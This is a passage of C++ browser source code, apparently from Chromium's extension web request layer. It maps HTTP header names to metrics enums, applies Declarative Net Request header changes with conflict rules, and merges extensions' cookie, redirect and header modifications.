{"x-forwarded-for", RequestHeaderType::kXForwardedFor},
{"x-forwarded-host", RequestHeaderType::kXForwardedHost},
{"x-forwarded-proto", RequestHeaderType::kXForwardedProto}});
constexpr bool IsValidHeaderName(base::StringPiece str) {
for (char ch : str) {
if ((ch < 'a' || ch > 'z') && ch != '-')
return false;
}
return true;
}
template <typename T>
constexpr bool ValidateHeaderEntries(const T& entries) {
for (const auto& entry : entries) {
if (!IsValidHeaderName(entry.first))
return false;
}
return true;
}
// All entries other than kOther and kNone are mapped.
// sec-origin-policy was removed.
// So -2 is -1 for the count of the enums, and -1 for the removed
// sec-origin-policy which does not have a corresponding entry in
// kRequestHeaderEntries but does contribute to RequestHeaderType::kMaxValue.
static_assert(static_cast<size_t>(RequestHeaderType::kMaxValue) - 2 ==
kRequestHeaderEntries.size(),
"Invalid number of request header entries");
static_assert(ValidateHeaderEntries(kRequestHeaderEntries),
"Invalid request header entries");
// Uses |record_func| to record |header|. If |header| is not recorded, false is
// returned.
void RecordRequestHeader(const std::string& header,
void (*record_func)(RequestHeaderType)) {
DCHECK(IsStringLowerCaseASCII(header));
const auto* it = kRequestHeaderEntries.find(header);
record_func(it != kRequestHeaderEntries.end() ? it->second
: RequestHeaderType::kOther);
}
void RecordResponseHeaderChanged(ResponseHeaderType type) {
UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.ResponseHeaderChanged",
type);
}
void RecordResponseHeaderAdded(ResponseHeaderType type) {
UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.ResponseHeaderAdded", type);
}
void RecordResponseHeaderRemoved(ResponseHeaderType type) {
UMA_HISTOGRAM_ENUMERATION("Extensions.WebRequest.ResponseHeaderRemoved",
type);
}
void RecordDNRResponseHeaderChanged(ResponseHeaderType type) {
UMA_HISTOGRAM_ENUMERATION(
"Extensions.DeclarativeNetRequest.ResponseHeaderChanged", type);
}
void RecordDNRResponseHeaderAdded(ResponseHeaderType type) {
UMA_HISTOGRAM_ENUMERATION(
"Extensions.DeclarativeNetRequest.ResponseHeaderAdded", type);
}
void RecordDNRResponseHeaderRemoved(ResponseHeaderType type) {
UMA_HISTOGRAM_ENUMERATION(
"Extensions.DeclarativeNetRequest.ResponseHeaderRemoved", type);
}
constexpr auto kResponseHeaderEntries =
base::MakeFixedFlatMap<base::StringPiece, ResponseHeaderType>({
{"accept-patch", ResponseHeaderType::kAcceptPatch},
{"accept-ranges", ResponseHeaderType::kAcceptRanges},
{"access-control-allow-credentials",
ResponseHeaderType::kAccessControlAllowCredentials},
{"access-control-allow-headers",
ResponseHeaderType::kAccessControlAllowHeaders},
{"access-control-allow-methods",
ResponseHeaderType::kAccessControlAllowMethods},
{"access-control-allow-origin",
ResponseHeaderType::kAccessControlAllowOrigin},
{"access-control-expose-headers",
ResponseHeaderType::kAccessControlExposeHeaders},
{"access-control-max-age", ResponseHeaderType::kAccessControlMaxAge},
{"age", ResponseHeaderType::kAge},
{"allow", ResponseHeaderType::kAllow},
{"alt-svc", ResponseHeaderType::kAltSvc},
{"cache-control", ResponseHeaderType::kCacheControl},
{"clear-site-data", ResponseHeaderType::kClearSiteData},
{"connection", ResponseHeaderType::kConnection},
{"content-disposition", ResponseHeaderType::kContentDisposition},
{"content-encoding", ResponseHeaderType::kContentEncoding},
{"content-language", ResponseHeaderType::kContentLanguage},
{"content-length", ResponseHeaderType::kContentLength},
{"content-location", ResponseHeaderType::kContentLocation},
{"content-range", ResponseHeaderType::kContentRange},
{"content-security-policy", ResponseHeaderType::kContentSecurityPolicy},
{"content-security-policy-report-only",
ResponseHeaderType::kContentSecurityPolicyReportOnly},
{"content-type", ResponseHeaderType::kContentType},
{"date", ResponseHeaderType::kDate},
{"etag", ResponseHeaderType::kETag},
{"expect-ct", ResponseHeaderType::kExpectCT},
{"expires", ResponseHeaderType::kExpires},
{"feature-policy", ResponseHeaderType::kFeaturePolicy},
{"keep-alive", ResponseHeaderType::kKeepAlive},
{"large-allocation", ResponseHeaderType::kLargeAllocation},
{"last-modified", ResponseHeaderType::kLastModified},
{"location", ResponseHeaderType::kLocation},
{"pragma", ResponseHeaderType::kPragma},
{"proxy-authenticate", ResponseHeaderType::kProxyAuthenticate},
{"proxy-connection", ResponseHeaderType::kProxyConnection},
{"public-key-pins", ResponseHeaderType::kPublicKeyPins},
{"public-key-pins-report-only",
ResponseHeaderType::kPublicKeyPinsReportOnly},
{"referrer-policy", ResponseHeaderType::kReferrerPolicy},
{"refresh", ResponseHeaderType::kRefresh},
{"retry-after", ResponseHeaderType::kRetryAfter},
{"sec-websocket-accept", ResponseHeaderType::kSecWebSocketAccept},
{"server", ResponseHeaderType::kServer},
{"server-timing", ResponseHeaderType::kServerTiming},
{"set-cookie", ResponseHeaderType::kSetCookie},
{"sourcemap", ResponseHeaderType::kSourceMap},
{"strict-transport-security",
ResponseHeaderType::kStrictTransportSecurity},
{"timing-allow-origin", ResponseHeaderType::kTimingAllowOrigin},
{"tk", ResponseHeaderType::kTk},
{"trailer", ResponseHeaderType::kTrailer},
{"transfer-encoding", ResponseHeaderType::kTransferEncoding},
{"upgrade", ResponseHeaderType::kUpgrade},
{"vary", ResponseHeaderType::kVary},
{"via", ResponseHeaderType::kVia},
{"warning", ResponseHeaderType::kWarning},
{"www-authenticate", ResponseHeaderType::kWWWAuthenticate},
{"x-content-type-options", ResponseHeaderType::kXContentTypeOptions},
{"x-dns-prefetch-control", ResponseHeaderType::kXDNSPrefetchControl},
{"x-frame-options", ResponseHeaderType::kXFrameOptions},
{"x-xss-protection", ResponseHeaderType::kXXSSProtection},
});
void RecordResponseHeader(base::StringPiece header,
void (*record_func)(ResponseHeaderType)) {
DCHECK(IsStringLowerCaseASCII(header));
const auto* it = kResponseHeaderEntries.find(header);
record_func(it != kResponseHeaderEntries.end() ? it->second
: ResponseHeaderType::kOther);
}
// All entries other than kOther and kNone are mapped.
static_assert(static_cast<size_t>(ResponseHeaderType::kMaxValue) - 1 ==
kResponseHeaderEntries.size(),
"Invalid number of response header entries");
static_assert(ValidateHeaderEntries(kResponseHeaderEntries),
"Invalid response header entries");
// Represents an action to be taken on a given header.
struct DNRHeaderAction {
DNRHeaderAction(const DNRRequestAction::HeaderInfo* header_info,
const extensions::ExtensionId* extension_id)
: header_info(header_info), extension_id(extension_id) {}
// Returns whether for the same header, the operation specified by
// |next_action| conflicts with the operation specified by this action.
bool ConflictsWithSubsequentAction(const DNRHeaderAction& next_action) const {
DCHECK_EQ(header_info->header, next_action.header_info->header);
switch (header_info->operation) {
case dnr_api::HEADER_OPERATION_APPEND:
return next_action.header_info->operation !=
dnr_api::HEADER_OPERATION_APPEND;
case dnr_api::HEADER_OPERATION_SET:
return *extension_id != *next_action.extension_id ||
next_action.header_info->operation !=
dnr_api::HEADER_OPERATION_APPEND;
case dnr_api::HEADER_OPERATION_REMOVE:
return true;
case dnr_api::HEADER_OPERATION_NONE:
NOTREACHED();
return true;
}
}
// Non-owning pointers to HeaderInfo and ExtensionId.
const DNRRequestAction::HeaderInfo* header_info;
const extensions::ExtensionId* extension_id;
};
// Helper to modify request headers from
// |request_action.request_headers_to_modify|. Returns whether or not request
// headers were actually modified and modifies |removed_headers|, |set_headers|
// and |header_actions|. |header_actions| maps a header name to the operation
// to be performed on the header.
bool ModifyRequestHeadersForAction(
net::HttpRequestHeaders* headers,
const DNRRequestAction& request_action,
std::set<std::string>* removed_headers,
std::set<std::string>* set_headers,
std::map<base::StringPiece, DNRHeaderAction>* header_actions) {
bool request_headers_modified = false;
for (const DNRRequestAction::HeaderInfo& header_info :
request_action.request_headers_to_modify) {
bool header_modified = false;
const std::string& header = header_info.header;
DNRHeaderAction header_action(&header_info, &request_action.extension_id);
auto iter = header_actions->find(header);
if (iter != header_actions->end() &&
iter->second.ConflictsWithSubsequentAction(header_action)) {
continue;
}
header_actions->emplace(header, header_action);
switch (header_info.operation) {
case extensions::api::declarative_net_request::HEADER_OPERATION_SET: {
bool has_header = headers->HasHeader(header);
headers->SetHeader(header, *header_info.value);
header_modified = true;
set_headers->insert(header);
if (has_header)
RecordRequestHeader(header, &RecordDNRRequestHeaderChanged);
else
RecordRequestHeader(header, &RecordDNRRequestHeaderAdded);
break;
}
case extensions::api::declarative_net_request::HEADER_OPERATION_REMOVE: {
while (headers->HasHeader(header)) {
header_modified = true;
headers->RemoveHeader(header);
}
if (header_modified) {
removed_headers->insert(header);
RecordRequestHeader(header, &RecordDNRRequestHeaderRemoved);
}
break;
}
case extensions::api::declarative_net_request::HEADER_OPERATION_APPEND:
case extensions::api::declarative_net_request::HEADER_OPERATION_NONE:
NOTREACHED();
}
request_headers_modified |= header_modified;
}
return request_headers_modified;
}
// Helper to modify response headers from |request_action|. Returns whether or
// not response headers were actually modified and modifies |header_actions|.
// |header_actions| maps a header name to a list of operations to be performed
// on the header.
bool ModifyResponseHeadersForAction(
const net::HttpResponseHeaders* original_response_headers,
scoped_refptr<net::HttpResponseHeaders>* override_response_headers,
const DNRRequestAction& request_action,
std::map<base::StringPiece, std::vector<DNRHeaderAction>>* header_actions) {
bool response_headers_modified = false;
// Check for |header| in |override_response_headers| if headers have been
// modified, otherwise, check in |original_response_headers|.
auto has_header = [&original_response_headers,
&override_response_headers](std::string header) {
return override_response_headers->get()
? override_response_headers->get()->HasHeader(header)
: original_response_headers->HasHeader(header);
};
// Create a copy of |original_response_headers| iff we really want to modify
// the response headers.
auto create_override_headers_if_needed =
[&original_response_headers](
scoped_refptr<net::HttpResponseHeaders>* override_response_headers) {
if (override_response_headers->get() == nullptr) {
*override_response_headers =
base::MakeRefCounted<net::HttpResponseHeaders>(
original_response_headers->raw_headers());
}
};
for (const DNRRequestAction::HeaderInfo& header_info :
request_action.response_headers_to_modify) {
bool header_modified = false;
const std::string& header = header_info.header;
DNRHeaderAction header_action(&header_info, &request_action.extension_id);
auto iter = header_actions->find(header);
// Checking the first DNRHeaderAction should suffice for determining if a
// conflict exists, since the contents of |header_actions| for a given
// header will always be one of:
// [remove]
// [append+] one or more appends
// [set, append*] set, any number of appends from the same extension
if (iter != header_actions->end() &&
(*header_actions)[header][0].ConflictsWithSubsequentAction(
header_action)) {
continue;
}
(*header_actions)[header].push_back(header_action);
switch (header_info.operation) {
case extensions::api::declarative_net_request::HEADER_OPERATION_REMOVE: {
if (has_header(header)) {
header_modified = true;
create_override_headers_if_needed(override_response_headers);
override_response_headers->get()->RemoveHeader(header);
RecordResponseHeader(header, &RecordDNRResponseHeaderRemoved);
}
break;
}
case extensions::api::declarative_net_request::HEADER_OPERATION_APPEND: {
header_modified = true;
create_override_headers_if_needed(override_response_headers);
override_response_headers->get()->AddHeader(header, *header_info.value);
// Record only the first time a header is appended. appends following a
// set from the same extension are treated as part of the set and are
// not logged.
if ((*header_actions)[header].size() == 1)
RecordResponseHeader(header, &RecordDNRResponseHeaderAdded);
break;
}
case extensions::api::declarative_net_request::HEADER_OPERATION_SET: {
header_modified = true;
create_override_headers_if_needed(override_response_headers);
override_response_headers->get()->RemoveHeader(header);
override_response_headers->get()->AddHeader(header, *header_info.value);
RecordResponseHeader(header, &RecordDNRResponseHeaderChanged);
break;
}
case extensions::api::declarative_net_request::HEADER_OPERATION_NONE:
NOTREACHED();
}
response_headers_modified |= header_modified;
}
return response_headers_modified;
}
} // namespace
IgnoredAction::IgnoredAction(extensions::ExtensionId extension_id,
web_request::IgnoredActionType action_type)
: extension_id(std::move(extension_id)), action_type(action_type) {}
IgnoredAction::IgnoredAction(IgnoredAction&& rhs) = default;
bool ExtraInfoSpec::InitFromValue(content::BrowserContext* browser_context,
const base::Value& value,
int* extra_info_spec) {
*extra_info_spec = 0;
if (!value.is_list())
return false;
base::Value::ConstListView value_list = value.GetList();
for (size_t i = 0; i < value_list.size(); ++i) {
const std::string* str = value_list[i].GetIfString();
if (!str)
return false;
if (*str == "requestHeaders")
*extra_info_spec |= REQUEST_HEADERS;
else if (*str == "responseHeaders")
*extra_info_spec |= RESPONSE_HEADERS;
else if (*str == "blocking")
*extra_info_spec |= BLOCKING;
else if (*str == "asyncBlocking")
*extra_info_spec |= ASYNC_BLOCKING;
else if (*str == "requestBody")
*extra_info_spec |= REQUEST_BODY;
else if (*str == "extraHeaders")
*extra_info_spec |= EXTRA_HEADERS;
else
return false;
}
// BLOCKING and ASYNC_BLOCKING are mutually exclusive.
if ((*extra_info_spec & BLOCKING) && (*extra_info_spec & ASYNC_BLOCKING))
return false;
return true;
}
RequestCookie::RequestCookie() = default;
RequestCookie::RequestCookie(RequestCookie&& other) = default;
RequestCookie& RequestCookie ::operator=(RequestCookie&& other) = default;
RequestCookie::~RequestCookie() = default;
bool RequestCookie::operator==(const RequestCookie& other) const {
return std::tie(name, value) == std::tie(other.name, other.value);
}
RequestCookie RequestCookie::Clone() const {
RequestCookie clone;
clone.name = name;
clone.value = value;
return clone;
}
ResponseCookie::ResponseCookie() = default;
ResponseCookie::ResponseCookie(ResponseCookie&& other) = default;
ResponseCookie& ResponseCookie ::operator=(ResponseCookie&& other) = default;
ResponseCookie::~ResponseCookie() = default;
bool ResponseCookie::operator==(const ResponseCookie& other) const {
return std::tie(name, value, expires, max_age, domain, path, secure,
http_only) ==
std::tie(other.name, other.value, other.expires, other.max_age,
other.domain, other.path, other.secure, other.http_only);
}
ResponseCookie ResponseCookie::Clone() const {
ResponseCookie clone;
clone.name = name;
clone.value = value;
clone.expires = expires;
clone.max_age = max_age;
clone.domain = domain;
clone.path = path;
clone.secure = secure;
clone.http_only = http_only;
return clone;
}
FilterResponseCookie::FilterResponseCookie() = default;
FilterResponseCookie::FilterResponseCookie(FilterResponseCookie&& other) =
default;
FilterResponseCookie& FilterResponseCookie ::operator=(
FilterResponseCookie&& other) = default;
FilterResponseCookie::~FilterResponseCookie() = default;
bool FilterResponseCookie::operator==(const FilterResponseCookie& other) const {
// This ignores all of the fields of the base class ResponseCookie. Why?
// https://crbug.com/916248
return std::tie(age_lower_bound, age_upper_bound, session_cookie) ==
std::tie(other.age_lower_bound, other.age_upper_bound,
other.session_cookie);
}
FilterResponseCookie FilterResponseCookie::Clone() const {
FilterResponseCookie clone;
clone.name = name;
clone.value = value;
clone.expires = expires;
clone.max_age = max_age;
clone.domain = domain;
clone.path = path;
clone.secure = secure;
clone.http_only = http_only;
clone.age_upper_bound = age_upper_bound;
clone.age_lower_bound = age_lower_bound;
clone.session_cookie = session_cookie;
return clone;
}
RequestCookieModification::RequestCookieModification() = default;
RequestCookieModification::RequestCookieModification(
RequestCookieModification&& other) = default;
RequestCookieModification& RequestCookieModification ::operator=(
RequestCookieModification&& other) = default;
RequestCookieModification::~RequestCookieModification() = default;
bool RequestCookieModification::operator==(
const RequestCookieModification& other) const {
// This ignores |type|. Why? https://crbug.com/916248
return std::tie(filter, modification) ==
std::tie(other.filter, other.modification);
}
RequestCookieModification RequestCookieModification::Clone() const {
RequestCookieModification clone;
clone.type = type;
if (filter.has_value())
clone.filter = filter->Clone();
if (modification.has_value())
clone.modification = modification->Clone();
return clone;
}
ResponseCookieModification::ResponseCookieModification() : type(ADD) {}
ResponseCookieModification::ResponseCookieModification(
ResponseCookieModification&& other) = default;
ResponseCookieModification& ResponseCookieModification ::operator=(
ResponseCookieModification&& other) = default;
ResponseCookieModification::~ResponseCookieModification() = default;
bool ResponseCookieModification::operator==(
const ResponseCookieModification& other) const {
// This ignores |type|. Why? https://crbug.com/916248
return std::tie(filter, modification) ==
std::tie(other.filter, other.modification);
}
ResponseCookieModification ResponseCookieModification::Clone() const {
ResponseCookieModification clone;
clone.type = type;
if (filter.has_value())
clone.filter = filter->Clone();
if (modification.has_value())
clone.modification = modification->Clone();
return clone;
}
EventResponseDelta::EventResponseDelta(const std::string& extension_id,
const base::Time& extension_install_time)
: extension_id(extension_id),
extension_install_time(extension_install_time),
cancel(false) {}
EventResponseDelta::EventResponseDelta(EventResponseDelta&& other) = default;
EventResponseDelta& EventResponseDelta ::operator=(EventResponseDelta&& other) =
default;
EventResponseDelta::~EventResponseDelta() = default;
bool InDecreasingExtensionInstallationTimeOrder(const EventResponseDelta& a,
const EventResponseDelta& b) {
return a.extension_install_time > b.extension_install_time;
}
base::Value StringToCharList(const std::string& s) {
base::Value result(base::Value::Type::LIST);
for (size_t i = 0, n = s.size(); i < n; ++i) {
result.Append(*reinterpret_cast<const unsigned char*>(&s[i]));
}
return result;
}
bool CharListToString(base::Value::ConstListView list, std::string* out) {
const size_t list_length = list.size();
out->resize(list_length);
int value = 0;
for (size_t i = 0; i < list_length; ++i) {
if (!list[i].is_int())
return false;
value = list[i].GetInt();
if (value < 0 || value > 255)
return false;
unsigned char tmp = static_cast<unsigned char>(value);
(*out)[i] = *reinterpret_cast<char*>(&tmp);
}
return true;
}
EventResponseDelta CalculateOnBeforeRequestDelta(
const std::string& extension_id,
const base::Time& extension_install_time,
bool cancel,
const GURL& new_url) {
EventResponseDelta result(extension_id, extension_install_time);
result.cancel = cancel;
result.new_url = new_url;
return result;
}
EventResponseDelta CalculateOnBeforeSendHeadersDelta(
content::BrowserContext* browser_context,
const std::string& extension_id,
const base::Time& extension_install_time,
bool cancel,
net::HttpRequestHeaders* old_headers,
net::HttpRequestHeaders* new_headers,
int extra_info_spec) {
EventResponseDelta result(extension_id, extension_install_time);
result.cancel = cancel;
// The event listener might not have passed any new headers if it
// just wanted to cancel the request.
if (new_headers) {
// Find deleted headers.
{
net::HttpRequestHeaders::Iterator i(*old_headers);
while (i.GetNext()) {
if (ShouldHideRequestHeader(browser_context, extra_info_spec,
i.name())) {
continue;
}
if (!new_headers->HasHeader(i.name())) {
result.deleted_request_headers.push_back(i.name());
}
}
}
// Find modified headers.
{
net::HttpRequestHeaders::Iterator i(*new_headers);
while (i.GetNext()) {
if (ShouldHideRequestHeader(browser_context, extra_info_spec,
i.name())) {
continue;
}
std::string value;
if (!old_headers->GetHeader(i.name(), &value) || i.value() != value) {
result.modified_request_headers.SetHeader(i.name(), i.value());
}
}
}
}
return result;
}
EventResponseDelta CalculateOnHeadersReceivedDelta(
const std::string& extension_id,
const base::Time& extension_install_time,
bool cancel,
const GURL& old_url,
const GURL& new_url,
const net::HttpResponseHeaders* old_response_headers,
ResponseHeaders* new_response_headers,
int extra_info_spec) {
EventResponseDelta result(extension_id, extension_install_time);
result.cancel = cancel;
result.new_url = new_url;
if (!new_response_headers)
return result;
extensions::ExtensionsAPIClient* api_client =
extensions::ExtensionsAPIClient::Get();
// Find deleted headers (header keys are treated case insensitively).
{
size_t iter = 0;
std::string name;
std::string value;
while (old_response_headers->EnumerateHeaderLines(&iter, &name, &value)) {
if (api_client->ShouldHideResponseHeader(old_url, name))
continue;
if (ShouldHideResponseHeader(extra_info_spec, name))
continue;
std::string name_lowercase = base::ToLowerASCII(name);
bool header_found = false;
for (const auto& i : *new_response_headers) {
if (base::LowerCaseEqualsASCII(i.first, name_lowercase) &&
value == i.second) {
header_found = true;
break;
}
}
if (!header_found)
result.deleted_response_headers.push_back(ResponseHeader(name, value));
}
}
// Find added headers (header keys are treated case insensitively).
{
for (const auto& i : *new_response_headers) {
if (api_client->ShouldHideResponseHeader(old_url, i.first))
continue;
if (ShouldHideResponseHeader(extra_info_spec, i.first))
continue;
std::string name_lowercase = base::ToLowerASCII(i.first);
size_t iter = 0;
std::string name;
std::string value;
bool header_found = false;
while (old_response_headers->EnumerateHeaderLines(&iter, &name, &value)) {
if (base::LowerCaseEqualsASCII(name, name_lowercase) &&
value == i.second) {
header_found = true;
break;
}
}
if (!header_found)
result.added_response_headers.push_back(i);
}
}
return result;
}
EventResponseDelta CalculateOnAuthRequiredDelta(
const std::string& extension_id,
const base::Time& extension_install_time,
bool cancel,
absl::optional<net::AuthCredentials> auth_credentials) {
EventResponseDelta result(extension_id, extension_install_time);
result.cancel = cancel;
result.auth_credentials = std::move(auth_credentials);
return result;
}
void MergeCancelOfResponses(
const EventResponseDeltas& deltas,
absl::optional<extensions::ExtensionId>* canceled_by_extension) {
*canceled_by_extension = absl::nullopt;
for (const auto& delta : deltas) {
if (delta.cancel) {
*canceled_by_extension = delta.extension_id;
break;
}
}
}
// Helper function for MergeRedirectUrlOfResponses() that allows ignoring
// all redirects but those to data:// urls and about:blank. This is important
// to treat these URLs as "cancel urls", i.e. URLs that extensions redirect
// to if they want to express that they want to cancel a request. This reduces
// the number of conflicts that we need to flag, as canceling is considered
// a higher precedence operation that redirects.
// Returns whether a redirect occurred.
static bool MergeRedirectUrlOfResponsesHelper(
const GURL& url,
const EventResponseDeltas& deltas,
GURL* new_url,
IgnoredActions* ignored_actions,
bool consider_only_cancel_scheme_urls) {
// Redirecting WebSocket handshake request is prohibited.
if (url.SchemeIsWSOrWSS())
return false;
bool redirected = false;
for (const auto& delta : deltas) {
if (delta.new_url.is_empty())
continue;
if (consider_only_cancel_scheme_urls &&
!delta.new_url.SchemeIs(url::kDataScheme) &&
delta.new_url.spec() != "about:blank") {
continue;
}
if (!redirected || *new_url == delta.new_url) {
*new_url = delta.new_url;
redirected = true;
} else {
ignored_actions->emplace_back(delta.extension_id,
web_request::IGNORED_ACTION_TYPE_REDIRECT);
}
}
return redirected;
}
void MergeRedirectUrlOfResponses(const GURL& url,
const EventResponseDeltas& deltas,
GURL* new_url,
IgnoredActions* ignored_actions) {
// First handle only redirects to data:// URLs and about:blank. These are a
// special case as they represent a way of cancelling a request.
if (MergeRedirectUrlOfResponsesHelper(url, deltas, new_url, ignored_actions,
true)) {
// If any extension cancelled a request by redirecting to a data:// URL or
// about:blank, we don't consider the other redirects.
return;
}
// Handle all other redirects.
MergeRedirectUrlOfResponsesHelper(url, deltas, new_url, ignored_actions,
false);
}
void MergeOnBeforeRequestResponses(const GURL& url,
const EventResponseDeltas& deltas,
GURL* new_url,
IgnoredActions* ignored_actions) {
MergeRedirectUrlOfResponses(url, deltas, new_url, ignored_actions);
}
static bool DoesRequestCookieMatchFilter(
const ParsedRequestCookie& cookie,
const absl::optional<RequestCookie>& filter) {
if (!filter.has_value())
return true;
if (filter->name.has_value() && cookie.first != *filter->name)
return false;
if (filter->value.has_value() && cookie.second != *filter->value)
return false;
return true;
}
// Applies all CookieModificationType::ADD operations for request cookies of
// |deltas| to |cookies|. Returns whether any cookie was added.
static bool MergeAddRequestCookieModifications(
const EventResponseDeltas& deltas,
ParsedRequestCookies* cookies) {
bool modified = false;
// We assume here that the deltas are sorted in decreasing extension
// precedence (i.e. decreasing extension installation time).
for (const auto& delta : base::Reversed(deltas)) {
const RequestCookieModifications& modifications =
delta.request_cookie_modifications;
for (auto mod = modifications.cbegin(); mod != modifications.cend();
++mod) {
if (mod->type != ADD || !mod->modification.has_value())
continue;
if (!mod->modification->name.has_value() ||
!mod->modification->value.has_value())
continue;
const std::string& new_name = *mod->modification->name;
const std::string& new_value = *mod->modification->value;
bool cookie_with_same_name_found = false;
for (auto cookie = cookies->begin();
cookie != cookies->end() && !cookie_with_same_name_found; ++cookie) {
if (cookie->first == new_name) {
if (cookie->second != new_value) {
cookie->second = new_value;
modified = true;
}
cookie_with_same_name_found = true;
}
}
if (!cookie_with_same_name_found) {
cookies->emplace_back(new_name, new_value);
modified = true;
}
}
}
return modified;
}
// Applies all CookieModificationType::EDIT operations for request cookies of
// |deltas| to |cookies|. Returns whether any cookie was modified.
static bool MergeEditRequestCookieModifications(
const EventResponseDeltas& deltas,
ParsedRequestCookies* cookies) {
bool modified = false;
// We assume here that the deltas are sorted in decreasing extension
// precedence (i.e. decreasing extension installation time).
for (const auto& delta : base::Reversed(deltas)) {
const RequestCookieModifications& modifications =
delta.request_cookie_modifications;
for (auto mod = modifications.cbegin(); mod != modifications.cend();
++mod) {
if (mod->type != EDIT || !mod->modification.has_value())
continue;
if (!mod->modification->value.has_value())
continue;
const std::string& new_value = *mod->modification->value;
const absl::optional<RequestCookie>& filter = mod->filter;
for (auto cookie = cookies->begin(); cookie != cookies->end(); ++cookie) {
if (!DoesRequestCookieMatchFilter(*cookie, filter))
continue;
// If the edit operation tries to modify the cookie name, we just ignore
// this. We only modify the cookie value.
if (cookie->second != new_value) {
cookie->second = new_value;
modified = true;
}
}
}
}
return modified;
}
// Applies all CookieModificationType::REMOVE operations for request cookies of
// |deltas| to |cookies|. Returns whether any cookie was deleted.
static bool MergeRemoveRequestCookieModifications(
const EventResponseDeltas& deltas,
ParsedRequestCookies* cookies) {
bool modified = false;
// We assume here that the deltas are sorted in decreasing extension
// precedence (i.e. decreasing extension installation time).
for (const auto& delta : base::Reversed(deltas)) {
const RequestCookieModifications& modifications =
delta.request_cookie_modifications;
for (auto mod = modifications.cbegin(); mod != modifications.cend();
++mod) {
if (mod->type != REMOVE)
continue;
const absl::optional<RequestCookie>& filter = mod->filter;
auto i = cookies->begin();
while (i != cookies->end()) {
if (DoesRequestCookieMatchFilter(*i, filter)) {
i = cookies->erase(i);
modified = true;
} else {
++i;
}
}
}
}
return modified;
}
void MergeCookiesInOnBeforeSendHeadersResponses(
const GURL& url,
const EventResponseDeltas& deltas,
net::HttpRequestHeaders* request_headers) {
// Skip all work if there are no registered cookie modifications.
bool cookie_modifications_exist = false;
for (const auto& delta : deltas) {
cookie_modifications_exist |= !delta.request_cookie_modifications.empty();
}
if (!cookie_modifications_exist)
return;
// Parse old cookie line.
std::string cookie_header;
request_headers->GetHeader(net::HttpRequestHeaders::kCookie, &cookie_header);
ParsedRequestCookies cookies;
net::cookie_util::ParseRequestCookieLine(cookie_header, &cookies);
// Modify cookies.
bool modified = false;
modified |= MergeAddRequestCookieModifications(deltas, &cookies);
modified |= MergeEditRequestCookieModifications(deltas, &cookies);
modified |= MergeRemoveRequestCookieModifications(deltas, &cookies);
// Reassemble and store new cookie line.
if (modified) {
std::string new_cookie_header =
net::cookie_util::SerializeRequestCookieLine(cookies);
request_headers->SetHeader(net::HttpRequestHeaders::kCookie,
new_cookie_header);
}
}
void MergeOnBeforeSendHeadersResponses(
const extensions::WebRequestInfo& request,
const EventResponseDeltas& deltas,
net::HttpRequestHeaders* request_headers,
IgnoredActions* ignored_actions,
std::set<std::string>* removed_headers,
std::set<std::string>* set_headers,
bool* request_headers_modified,
std::vector<const DNRRequestAction*>* matched_dnr_actions) {
DCHECK(request_headers_modified);
DCHECK(removed_headers->empty());
DCHECK(set_headers->empty());
DCHECK(request.dnr_actions);
DCHECK(matched_dnr_actions);
*request_headers_modified = false;
std::map<base::StringPiece, DNRHeaderAction> dnr_header_actions;
for (const auto& action : *request.dnr_actions) {
bool headers_modified_for_action =
ModifyRequestHeadersForAction(request_headers, action, removed_headers,
set_headers, &dnr_header_actions);
*request_headers_modified |= headers_modified_for_action;
if (headers_modified_for_action)
matched_dnr_actions->push_back(&action);
}
// A strict subset of |removed_headers| consisting of headers removed by the
// web request API. Used for metrics.
// TODO(crbug.com/1098945): Use base::StringPiece to avoid copying header
// names.
std::set<std::string> web_request_removed_headers;
// Subsets of |set_headers| consisting of headers modified by the web request
// API. Split into a set for added headers and a set for overridden headers.
std::set<std::string> web_request_overridden_headers;
std::set<std::string> web_request_added_headers;
// We assume here that the deltas are sorted in decreasing extension
// precedence (i.e. decreasing extension installation time).
for (const auto& delta : deltas) {
if (delta.modified_request_headers.IsEmpty() &&
delta.deleted_request_headers.empty()) {
continue;
}
// Check whether any modification affects a request header that
// has been modified differently before. As deltas is sorted by decreasing
// extension installation order, this takes care of precedence.
bool extension_conflicts = false;
{
net::HttpRequestHeaders::Iterator modification(
delta.modified_request_headers);
while (modification.GetNext() && !extension_conflicts) {
// This modification sets |key| to |value|.
const std::string key = base::ToLowerASCII(modification.name());
const std::string& value = modification.value();
// We must not modify anything that was specified to be removed by the
// Declarative Net Request API. Note that the actual header
// modifications made by Declarative Net Request should be represented
// in |removed_headers| and |set_headers|.
auto iter = dnr_header_actions.find(key);
if (iter != dnr_header_actions.end() &&
iter->second.header_info->operation ==
dnr_api::HEADER_OPERATION_REMOVE) {
extension_conflicts = true;
break;
}
// We must not modify anything that has been deleted before.
if (base::Contains(*removed_headers, key)) {
extension_conflicts = true;
break;
}
// We must not modify anything that has been set to a *different*
// value before.
if (base::Contains(*set_headers, key)) {
std::string current_value;
if (!request_headers->GetHeader(key, ¤t_value) ||
current_value != value) {
extension_conflicts = true;
break;
}
}
}
}
// Check whether any deletion affects a request header that has been
// modified before.
{
for (const std::string& key : delta.deleted_request_headers) {
if (base::Contains(*set_headers, base::ToLowerASCII(key))) {
extension_conflicts = true;
break;
}
}
}
// Now execute the modifications if there were no conflicts.
if (!extension_conflicts) {
// Populate |set_headers|, |overridden_headers| and |added_headers| and
// perform the modifications.
net::HttpRequestHeaders::Iterator modification(
delta.modified_request_headers);
while (modification.GetNext()) {
std::string key = base::ToLowerASCII(modification.name());
if (!request_headers->HasHeader(key)) {
web_request_added_headers.insert(key);
} else if (!base::Contains(web_request_added_headers, key)) {
// Note: |key| will only be present in |added_headers| if this is an
// identical edit.
web_request_overridden_headers.insert(key);
}
set_headers->insert(key);
request_headers->SetHeader(key, modification.value());
}
// Perform all deletions and record which keys were deleted.
{
for (const auto& header : delta.deleted_request_headers) {
std::string lowercase_header = base::ToLowerASCII(header);
request_headers->RemoveHeader(header);
removed_headers->insert(lowercase_header);
web_request_removed_headers.insert(lowercase_header);
}
}
*request_headers_modified = true;
} else {
ignored_actions->emplace_back(
delta.extension_id, web_request::IGNORED_ACTION_TYPE_REQUEST_HEADERS);
}
}
auto record_request_headers = [](const std::set<std::string>& headers,
void (*record_func)(RequestHeaderType)) {
if (headers.empty()) {
record_func(RequestHeaderType::kNone);
return;
}
for (const auto& header : headers)
RecordRequestHeader(header, record_func);
};
// Some sanity checks.
DCHECK(std::all_of(removed_headers->begin(), removed_headers->end(),
IsStringLowerCaseASCII));
DCHECK(std::all_of(set_headers->begin(), set_headers->end(),
